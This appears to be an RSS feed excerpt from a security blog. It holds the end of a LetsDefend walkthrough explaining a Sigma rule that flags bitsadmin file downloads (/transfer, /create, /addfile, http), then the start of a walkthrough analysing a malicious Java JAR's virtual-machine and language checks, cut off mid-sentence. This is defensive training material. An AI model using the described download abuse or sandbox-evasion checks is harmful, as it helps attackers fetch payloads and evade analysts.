width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the command-line option in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;The presence of the &lt;code&gt;/transfer&lt;/code&gt; switch tells us that the rule is searching for the use of &lt;em&gt;bitsadmin&lt;/em&gt; in the context of file transfer activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1777px&#34; data-flex-grow=&#34;740&#34; height=&#34;108&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/48c77d3912027c68ddf2e4760222427e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-what-logical-expression-in-the-condition-field-combined-the-criteria-to-trigger-thisrule&#34;&gt;Question 3: What logical expression in the condition field combined the criteria to trigger this rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 3&lt;/strong&gt;, we&amp;rsquo;ll need to identify the logical expression in the &lt;em&gt;condition&lt;/em&gt; field that defines the criteria for the rule to trigger. This combination ties together the definitions we explored in the previous questions to build the rule&amp;rsquo;s logic.&lt;/p&gt;&#xA;&lt;p&gt;We can find the &lt;em&gt;condition&lt;/em&gt; field on line 33, where it shows:&lt;/p&gt;&#xA;&lt;p&gt;selection_img and (selection_cmd or all of selection_cli_*)&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;166&#34; height=&#34;480&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/6504152c5feae17c1bbddc0555800ae9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the condition field in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;So, what does this mean? It means the detection rule is searching for &lt;em&gt;bitsadmin.exe&lt;/em&gt; activity &lt;strong&gt;with&lt;/strong&gt; the &lt;code&gt;/transfer&lt;/code&gt; argument &lt;strong&gt;or&lt;/strong&gt; where the &lt;code&gt;CommandLine&lt;/code&gt; field contains &lt;code&gt;/create&lt;/code&gt;, &lt;code&gt;/addfile&lt;/code&gt;, and &lt;code&gt;http&lt;/code&gt;—all of which are strong indicators of file download activity.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1939px&#34; data-flex-grow=&#34;808&#34; height=&#34;99&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/d57f1255cddbaf5f4a5ba28efd4b8674_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-which-specific-field-did-this-rule-capture-that-shows-the-command-being-executed&#34;&gt;Question 4: Which specific field did this rule capture that shows the command being executed?&#xA;&lt;/h3&gt;&lt;p&gt;We touched on this in &lt;strong&gt;Question 2&lt;/strong&gt;, but to answer &lt;strong&gt;Question 4&lt;/strong&gt; we need to determine the specific field the rule captures that shows the command being executed.&lt;/p&gt;&#xA;&lt;p&gt;We can find this information on line 34, under the &lt;em&gt;fields&lt;/em&gt; section of the rule.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;167&#34; height=&#34;479&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/4ecd2cb93c8ad4650f46c53f1672302b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the CommandLine field in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;This tells us that the &lt;code&gt;CommandLine&lt;/code&gt; field must be present for the rule to run. That field is where the rule looks for command-line definitions like &lt;code&gt;/transfer&lt;/code&gt;, or the combination of values in the &lt;code&gt;selection_cli_*&lt;/code&gt; group — including &lt;code&gt;/create&lt;/code&gt;, &lt;code&gt;/addfile&lt;/code&gt;, and &lt;code&gt;http&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1811px&#34; data-flex-grow=&#34;754&#34; height=&#34;106&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/85df95474f27f7496efb7cc1b781c99b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-which-single-attck-tactic-tag-is-listed-first-in-thisrule&#34;&gt;Question 5: Which single ATT&amp;amp;CK tactic tag is listed first in this rule?&#xA;&lt;/h3&gt;&lt;p&gt;To answer &lt;strong&gt;Question 5&lt;/strong&gt;, we&amp;rsquo;ll turn our attention to the &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html#metadata&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Metadata&lt;/em&gt;&lt;/a&gt; section near the top of the rule. Under the &lt;code&gt;tags&lt;/code&gt; field, we&amp;rsquo;ll see a list of ATT&amp;amp;CK tactic and technique references.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;401px&#34; data-flex-grow=&#34;167&#34; height=&#34;478&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/7500a0d37b4c52feccb4e446849670ea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the first MITRE ATT&amp;amp;CK tactic listed in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;The answer to the question is the first item in the list on line 13: &lt;code&gt;attack.defense-evasion&lt;/code&gt;. The &lt;code&gt;attack.&lt;/code&gt; prefix tells us this is a MITRE ATT&amp;amp;CK reference. In this case, the first tactic listed is &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TA0005 €“ Defense Evasion&lt;/strong&gt;&lt;/a&gt;&lt;strong&gt;:&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  title=&#34;https://attack.mitre.org/tactics/TA0005/&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Defense Evasion&lt;/strong&gt;&#xA;_Build Image on Host Adversaries may build a container image directly on a host to bypass defenses that monitor for the&amp;hellip;_attack.mitre.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/61ccc32f236faced84bf771afdae18f9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-6-what-is-the-primary-category-of-events-that-this-sigma-rule-was-written-tomonitor&#34;&gt;Question 6: What is the primary category of events that this Sigma rule was written to monitor?&#xA;&lt;/h3&gt;&lt;p&gt;The next component of this &lt;em&gt;Sigma&lt;/em&gt; rule we need to analyze is the &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html#logsources&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Logsource&lt;/em&gt;&lt;/a&gt; section, starting on line 18. Remember from our &lt;em&gt;Sigma&lt;/em&gt; overview that this section &amp;ldquo;is used to specify what log data should be searched by the rule.&amp;rdquo;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;403px&#34; data-flex-grow=&#34;168&#34; height=&#34;476&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/f14fa61ed217bb8129215baaac2049ab_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the primary Logsource category in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;category&lt;/code&gt; field indicates the type of events being monitored. In this case, the rule is written to detect &lt;strong&gt;Windows process creation&lt;/strong&gt; events (usually Event ID 4688), which is a common source for identifying suspicious command-line execution — &lt;em&gt;keep that one in your back pocket!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/b68d25b015f545b8c1717e457dc973e5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-7-what-specific-command-line-argument-did-this-rule-look-for-to-identify-http-based-downloads&#34;&gt;Question 7: What specific command-line argument did this rule look for to identify HTTP-based downloads?&#xA;&lt;/h3&gt;&lt;p&gt;We touched on command-line arguments targeted by the rule back in &lt;strong&gt;Question 3&lt;/strong&gt; and &lt;strong&gt;Question 4&lt;/strong&gt;. Recall that one of the conditions included a check for &lt;code&gt;http&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;400px&#34; data-flex-grow=&#34;166&#34; height=&#34;480&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/5fbff3d783391a81ae87531a99e23ae0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the http command-line option in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;This helps identify suspicious or malicious use of &lt;em&gt;bitsadmin&lt;/em&gt; to grab payloads over HTTP.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/36bc6b3c7b6d7489d8ea465bb35553a0_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-8-which-command-line-option-must-be-present-to-create-a-new-transfer-using-bitsadmin&#34;&gt;Question 8: Which command-line option must be present to create a new transfer using bitsadmin?&#xA;&lt;/h3&gt;&lt;p&gt;We&amp;rsquo;ve made it to the last question of our &lt;em&gt;Sigma&lt;/em&gt; rule analysis — nice job! The final object we need to identify is another one we touched on in &lt;strong&gt;Question 3&lt;/strong&gt; and &lt;strong&gt;Question 4&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;To answer &lt;strong&gt;Question 8&lt;/strong&gt;, we&amp;rsquo;ll want to look at line 29, which shows the &lt;code&gt;/create&lt;/code&gt; value. In the context of &lt;em&gt;bitsadmin&lt;/em&gt;, the &lt;code&gt;/create&lt;/code&gt; argument is used to initiate a new transfer job — which is exactly what we need to wrap up our analysis!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;403px&#34; data-flex-grow=&#34;168&#34; height=&#34;476&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/965a15530dd87e6d1ba56854c3ac49ba_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Notepad++: Identifying the /create command-line option in the Sigma rule&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1794px&#34; data-flex-grow=&#34;747&#34; height=&#34;107&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/34cbfb8aeaad9e1fee37885ec63b0f97_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;553px&#34; data-flex-grow=&#34;230&#34; height=&#34;347&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/60977bd50e6ecdb82e61dcffcacfd1cb_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;How fun was that? A big thank you to &lt;strong&gt;LetsDefend&lt;/strong&gt; for putting together another solid, beginner-friendly challenge.&lt;/p&gt;&#xA;&lt;p&gt;This investigation was a great introduction to &lt;strong&gt;Sigma rules&lt;/strong&gt; and how they&amp;rsquo;re used to detect suspicious behavior in log data. We explored how rules are structured, how they leverage fields like &lt;code&gt;CommandLine&lt;/code&gt;, and how they align with &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; tactics like &lt;em&gt;Defense Evasion&lt;/em&gt;. From identifying the use of &lt;code&gt;bitsadmin.exe&lt;/code&gt;, to parsing command-line arguments like &lt;code&gt;/transfer&lt;/code&gt;, &lt;code&gt;/create&lt;/code&gt;, and &lt;code&gt;http&lt;/code&gt;, this challenge gave us a hands-on look at how &lt;em&gt;Sigma&lt;/em&gt; expresses detection logic in a readable, flexible format.&lt;/p&gt;&#xA;&lt;p&gt;I chose this challenge to sharpen my detection engineering workflow and get reacquainted with &lt;em&gt;Sigma&amp;rsquo;s YAML structure&lt;/em&gt;, since I don&amp;rsquo;t typically work with &lt;em&gt;Sigma rules&lt;/em&gt; directly. Instead, I usually convert them to my required SIEM or log format for the application at hand — which can be really helpful if you want to leverage &lt;em&gt;Sigma rules&lt;/em&gt; but use a different solution like &lt;strong&gt;Splunk&lt;/strong&gt;, &lt;strong&gt;Microsoft&lt;/strong&gt;, &lt;strong&gt;Elastic&lt;/strong&gt;, etc.&lt;/p&gt;&#xA;&lt;p&gt;This challenge was also a great opportunity to slow down and take the extra time to research the answers, not just search for them. That deeper dive helped me build a true understanding of how the rule works and why each component matters. Awesome stuff!&lt;/p&gt;&#xA;&lt;p&gt;Thanks for your support and partnering on this investigation. If you found this walkthrough helpful, don&amp;rsquo;t forget to &lt;strong&gt;give it a clap&lt;/strong&gt; and &lt;strong&gt;consider following me&lt;/strong&gt; for more content like this! Your feedback really is invaluable, and it pumps me up to support your security journey. Remember, Cybersecurity is a team sport and we&amp;rsquo;re in this together!&lt;/p&gt;&#xA;&lt;p&gt;Until next week&amp;rsquo;s challenge — stay curious and be safe out there!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;240px&#34; data-flex-grow=&#34;100&#34; height=&#34;250&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-learn-sigma-challenge-walkthrough/897587ce48e9f9feb186cdd21a12ccdd_MD5.png&#34; width=&#34;250&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/learn-sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/learn-sigma&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Notepad++&lt;/strong&gt;: &lt;a class=&#34;link&#34; href=&#34;https://notepad-plus-plus.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://notepad-plus-plus.org/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sigma GitHub:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://github.com/SigmaHQ/sigma&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://github.com/SigmaHQ/sigma&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Sigma Documentation:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://sigmahq.io/docs/basics/rules.html&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://sigmahq.io/docs/basics/rules.html&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft Learn — Bitsadmin:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — BITS Jobs (T1197):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1197/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1197/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Defense Evasion (TA0005):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0005/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0005/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>LetsDefend — Samba Spy Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/</link>
            <pubDate>Sun, 21 Sep 2025 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; alt=&#34;Featured image of post LetsDefend — Samba Spy Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;letsdefend--samba-spy-challenge-walkthrough&#34;&gt;LetsDefend — Samba Spy Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;investigating-a-malicious-jar-file-using-java-decompiler-virustotal--mitreattck&#34;&gt;Investigating a Malicious JAR File Using Java Decompiler, VirusTotal &amp;amp; MITRE ATT&amp;amp;CK.&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;459px&#34; data-flex-grow=&#34;191&#34; height=&#34;296&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/a23fc2f7b435ad3801896d084afd433e_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/samba-spy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://app.letsdefend.io/challenge/samba-spy&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome back to another weekly walkthrough! If you&amp;rsquo;ve stumbled across this blog while looking for a comprehensive guide the &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/challenge/samba-spy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Samba Spy&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://app.letsdefend.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;LetsDefend&lt;/strong&gt;&lt;/a&gt;, you&amp;rsquo;re in the right place. This challenge is a great opportunity to explore how adversaries use Java-based payloads, obfuscation, and anti-analysis techniques to evade detection.&lt;/p&gt;&#xA;&lt;h4 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h4&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;Your organization has discovered an infection on one of its systems involving a malicious Java application. This malware performs environment checks to ensure it is not running inside a virtual machine and targets systems with specific configurations. Once the required conditions are met, it extracts files and executes malicious components that could compromise sensitive data or system integrity. The stealthy nature of the malware and its ability to evade detection pose a serious threat, requiring immediate action to secure the network and prevent further compromise.&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;Uh-oh! That doesn&amp;rsquo;t sound good. It&amp;rsquo;s up to us to spring into action in our &lt;em&gt;LetsDefend&lt;/em&gt; virtual machine, reverse engineer and investigate its behavior, and prevent any further damage.&lt;/p&gt;&#xA;&lt;p&gt;This one&amp;rsquo;s a bit different from the usual endpoint or network forensics challenges. We&amp;rsquo;ll be stepping into the world of static analysis with a sprinkle of reverse engineering, using tools like &lt;strong&gt;JD-GUI&lt;/strong&gt;, &lt;em&gt;VirusTotal&lt;/em&gt;, &lt;em&gt;MITRE ATT&amp;amp;CK&lt;/em&gt;, and good old-fashioned logic to uncover what this malware is up to.&lt;/p&gt;&#xA;&lt;p&gt;If you&amp;rsquo;re new to Java malware or just want to sharpen your analysis skills, this is a great challenge to stumble into. Let&amp;rsquo;s dig in and see what this &lt;code&gt;.jar&lt;/code&gt; file is hiding.&lt;/p&gt;&#xA;&lt;p&gt;Sounds like fun, right? Let&amp;rsquo;s get into it!&lt;/p&gt;&#xA;&lt;p&gt;And if you find this walkthrough helpful — whether it levels-up your skills, gets you over a stumbling block, or serves as a handy reference — please give it a clap and consider following me for more content like this.&lt;/p&gt;&#xA;&lt;p&gt;Thanks for reading and going on this investigation with me!&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-name-of-the-method-that-checks-if-the-program-is-running-inside-a-virtualmachine&#34;&gt;Question 1: What is the name of the method that checks if the program is running inside a virtual machine?&#xA;&lt;/h3&gt;&lt;p&gt;Let&amp;rsquo;s kick off this investigation by opening the &lt;code&gt;ChallengeFile&lt;/code&gt; folder and unzipping &lt;code&gt;challenge.7z&lt;/code&gt; using the password provided in the challenge description. This leaves us with the sample we&amp;rsquo;ll be analyzing: &lt;code&gt;1.jar&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;503px&#34; data-flex-grow=&#34;209&#34; height=&#34;375&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/7c8a34b5aa8f5fb30b957f6aaea3f62d_MD5.png&#34; width=&#34;787&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Unzipping the ChallengeFile&lt;/p&gt;&#xA;&lt;p&gt;Our first step is to select a tool we can use to decompile the sample and peek into the code. Fortunately, the &lt;em&gt;LetsDefend&lt;/em&gt; VM is already loaded with a number of analysis tools, including &lt;a class=&#34;link&#34; href=&#34;https://java-decompiler.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Java Decompiler (JD)&lt;/strong&gt;&lt;/a&gt;. Since reverse engineering isn&amp;rsquo;t in my usual wheelhouse, the graphical version, &lt;em&gt;JD-GUI&lt;/em&gt;, will be perfect for us to use. According to the project&amp;rsquo;s &lt;a class=&#34;link&#34; href=&#34;https://java-decompiler.github.io/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;GitHub&lt;/a&gt; page:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;JD-GUI is a standalone graphical utility that displays Java source codes of &amp;quot; # &amp;quot;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;.class&amp;quot;&#xA;files. You can browse the reconstructed source code with the JD-GUI for instant access to methods and fields.&lt;/p&gt;&#xA;&lt;p&gt;Sounds perfect! Let&amp;rsquo;s give it a try by launching the application from &lt;code&gt;C:\Users\LetsDefend\Desktop\Tools\jd-gui-windows-1.6.6 - Java Decompiler&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Once it&amp;rsquo;s open, we can load the &lt;code&gt;1.jar&lt;/code&gt; sample file and immediately jump in by expanding &lt;code&gt;JavaApplication1.class &amp;gt; JavaApplication1&lt;/code&gt;. This will allow us to check out the methods within the application.&lt;/p&gt;&#xA;&lt;p&gt;With that in mind, to answer &lt;strong&gt;Question 1&lt;/strong&gt;, select the obviously named &lt;code&gt;isRunningInVM()&lt;/code&gt; method on the left and view its contents on the right. We&amp;rsquo;ll see that this method is checking if the JAR file is executed in a virtual machine. One way it does this is by checking if the operating system name matches known virtualization providers.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;339px&#34; data-flex-grow=&#34;141&#34; height=&#34;566&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/4df049f516ab2d32c42ecf68d52d0b5b_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Identifying the isRunningInVM() method&lt;/p&gt;&#xA;&lt;p&gt;Now, there could be a valid reason for it, but the presence of a method checking for virtualization is suspicious. Malware might attempt to evade detection by checking if it&amp;rsquo;s executed in a virtual environment, potentially operated by one of us defenders, and changing its behavior accordingly. This is an example of the &lt;strong&gt;MITRE ATT&amp;amp;CK&lt;/strong&gt; technique &lt;em&gt;V&lt;/em&gt;&lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1497/001/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;irtualization/Sandbox Evasion: System Checks (T1497.001)&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img class=&#34;gallery-image&#34; data-flex-basis=&#34;1828px&#34; data-flex-grow=&#34;761&#34; height=&#34;105&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/letsdefend-samba-spy-challenge-walkthrough/85d05479739455e86bcaf37fed1f257e_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-system-language-is-required-for-the-program-to-continue-execution&#34;&gt;Question 2: What system language is required for the program to continue execution?&#xA;&lt;/h3&gt;&lt;p&gt;The next thing we&amp;rsquo;ll need to uncover is what system language is required for the application to continue execution. We can find this in the &lt;code&gt;isSystemLanguageItalian()&lt;/code&gt; 